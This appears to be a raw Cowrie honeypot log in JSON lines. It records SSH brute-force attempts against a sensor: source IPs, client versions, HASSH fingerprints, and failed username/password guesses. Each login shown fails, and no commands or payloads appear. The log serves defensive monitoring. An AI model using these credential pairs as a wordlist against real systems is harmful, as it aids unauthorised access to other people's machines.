rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:01.518933Z","src_ip":"162.214.159.200","session":"6d703da3933e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haru","password":"haru123","message":"login attempt [haru/haru123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:01.768183Z","src_ip":"162.214.159.200","session":"6d703da3933e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:03.145181Z","src_ip":"162.214.159.200","session":"6d703da3933e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":40598,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c19c899812a","protocol":"ssh","message":"New connection: 143.20.185.207:40598 (159.203.135.109:22) [session: 2c19c899812a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:11.272485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:11.277965Z","src_ip":"143.20.185.207","session":"2c19c899812a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:11.407855Z","src_ip":"143.20.185.207","session":"2c19c899812a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZENNIXKY#4VCPU16GBAMD","message":"login attempt [root/ZENNIXKY#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:11.755746Z","src_ip":"143.20.185.207","session":"2c19c899812a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":53692,"dst_ip":"159.203.135.109","dst_port":22,"session":"2239c1eed529","protocol":"ssh","message":"New connection: 45.61.187.220:53692 (159.203.135.109:22) [session: 2239c1eed529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:12.327410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:12.331702Z","src_ip":"45.61.187.220","session":"2239c1eed529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:12.360816Z","src_ip":"45.61.187.220","session":"2239c1eed529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"m1234","message":"login attempt [root/m1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:12.523227Z","src_ip":"45.61.187.220","session":"2239c1eed529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:12.890714Z","src_ip":"143.20.185.207","session":"2c19c899812a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:13.563533Z","src_ip":"45.61.187.220","session":"2239c1eed529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.480961322784424,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:26.517320Z","src_ip":"107.6.151.170","session":"589135ed4426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":40950,"dst_ip":"10.17.0.5","dst_port":22,"session":"07877cf44999","protocol":"ssh","message":"New connection: 162.254.35.142:40950 (10.17.0.5:22) [session: 07877cf44999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:27.904042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:27.908620Z","src_ip":"162.254.35.142","session":"07877cf44999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:27.972967Z","src_ip":"162.254.35.142","session":"07877cf44999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sydney","password":"Sydney#Crypto@P@ssw0rd","message":"login attempt [sydney/Sydney#Crypto@P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:28.165560Z","src_ip":"162.254.35.142","session":"07877cf44999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:29.232293Z","src_ip":"162.254.35.142","session":"07877cf44999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":38958,"dst_ip":"10.17.0.5","dst_port":22,"session":"50d325e623d9","protocol":"ssh","message":"New connection: 189.190.244.176:38958 (10.17.0.5:22) [session: 50d325e623d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:55.741212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:55.744853Z","src_ip":"189.190.244.176","session":"50d325e623d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:55.819182Z","src_ip":"189.190.244.176","session":"50d325e623d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2025@","message":"login attempt [root/admin2025@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:56.148806Z","src_ip":"189.190.244.176","session":"50d325e623d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:57.225074Z","src_ip":"189.190.244.176","session":"50d325e623d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":36058,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad96eb6cf43c","protocol":"ssh","message":"New connection: 147.45.199.80:36058 (159.203.135.109:22) [session: ad96eb6cf43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:10.645665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:10.649613Z","src_ip":"147.45.199.80","session":"ad96eb6cf43c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:10.749376Z","src_ip":"147.45.199.80","session":"ad96eb6cf43c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vernost","message":"login attempt [root/vernost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:11.057711Z","src_ip":"147.45.199.80","session":"ad96eb6cf43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:12.158218Z","src_ip":"147.45.199.80","session":"ad96eb6cf43c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":43702,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bc2fcf33db5","protocol":"ssh","message":"New connection: 52.169.217.131:43702 (159.203.135.109:22) [session: 5bc2fcf33db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:21.604832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:21.609348Z","src_ip":"52.169.217.131","session":"5bc2fcf33db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:21.674653Z","src_ip":"52.169.217.131","session":"5bc2fcf33db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniffer","password":"sniffer","message":"login attempt [sniffer/sniffer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:21.975274Z","src_ip":"52.169.217.131","session":"5bc2fcf33db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:23.042793Z","src_ip":"52.169.217.131","session":"5bc2fcf33db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":54866,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e482b20f77a","protocol":"ssh","message":"New connection: 45.61.187.220:54866 (159.203.135.109:22) [session: 4e482b20f77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:37.526219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:37.529873Z","src_ip":"45.61.187.220","session":"4e482b20f77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:37.564647Z","src_ip":"45.61.187.220","session":"4e482b20f77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test","message":"login attempt [ftpuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:37.727591Z","src_ip":"45.61.187.220","session":"4e482b20f77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:50:38.767056Z","src_ip":"45.61.187.220","session":"4e482b20f77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46376,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99612a3a008","protocol":"ssh","message":"New connection: 193.37.70.224:46376 (10.17.0.5:22) [session: e99612a3a008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:21.820345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:21.824105Z","src_ip":"193.37.70.224","session":"e99612a3a008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:21.918107Z","src_ip":"193.37.70.224","session":"e99612a3a008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"165432","message":"login attempt [root/165432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:51:22.175168Z","src_ip":"193.37.70.224","session":"e99612a3a008","protocol":"ssh"}
